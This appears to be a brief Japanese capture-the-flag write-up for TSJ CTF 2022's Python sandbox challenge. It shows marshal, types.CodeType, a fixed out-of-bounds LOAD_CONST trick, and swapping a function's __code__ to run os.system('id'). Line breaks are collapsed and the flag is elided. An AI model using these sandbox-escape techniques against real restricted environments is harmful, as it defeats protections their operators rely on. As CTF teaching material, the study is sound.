TSJ CTF 2022 - Just a pyjail
Challenge
code object の操作が可能な環境。
import marshal
code = input()exec(code)Solution
marshal によるコード操作
import marshalimport types
# 関数からコードオブジェクトを取得def f(): return 1
code = f.__code__serialized = marshal.dumps(code)
# デシリアライズして新しいコードを作成new_code = marshal.loads(serialized)LOAD_CONST 範囲外アクセス (歴史的脆弱性)
古いPythonバージョンでは、co_consts の範囲外インデックスを指定するバイトコードを作成できた:
# バイトコードを直接操作# LOAD_CONST with out-of-bounds index# メモリ上の隣接オブジェクトにアクセスtypes.CodeType の使用
import types
# Python 3.8+ のシグネチャcode = types.CodeType( 0, # co_argcount 0, # co_posonlyargcount 0, # co_kwonlyargcount 0, # co_nlocals 1, # co_stacksize 0, # co_flags b'd\x00S\x00', # co_code (LOAD_CONST 0, RETURN_VALUE) (42,), # co_consts (), # co_names (), # co_varnames '<string>', # co_filename '<code>', # co_name 0, # co_firstlineno b'', # co_lnotab)
exec(code) # 42 を返すTechnical Details
marshal モジュール
import marshal
# シリアライズ可能なオブジェクト# - None, True, False# - int, float, complex# - str, bytes# - tuple, list, set, dict# - code objects# - frozenset
# コードのシリアライズcode_bytes = marshal.dumps((lambda: 1).__code__)
# デシリアライズcode = marshal.loads(code_bytes)exec(code)バイトコード構造
# Python 3.6+ のワードコード# 各命令は2バイト (opcode, arg)
import disdis.opmap['LOAD_CONST'] # 100dis.opmap['RETURN_VALUE'] # 83OOB の仕組み (修正済み)
co_consts = (None, 1, 2)LOAD_CONST 100 # インデックス 100 はメモリ上の別のオブジェクトを参照Alternative Solutions
別解1: co_consts の直接操作
def f(): return 'safe'
# 定数を書き換えf.__code__ = f.__code__.replace(co_consts=(None, 'malicious'))別解2: 関数の code 置換
def target(): pass
def payload(): import os os.system('id')
target.__code__ = payload.__code__target()Flag
TSJ{...}
References
- TSJ CTF 2022 Official
- Python marshal documentation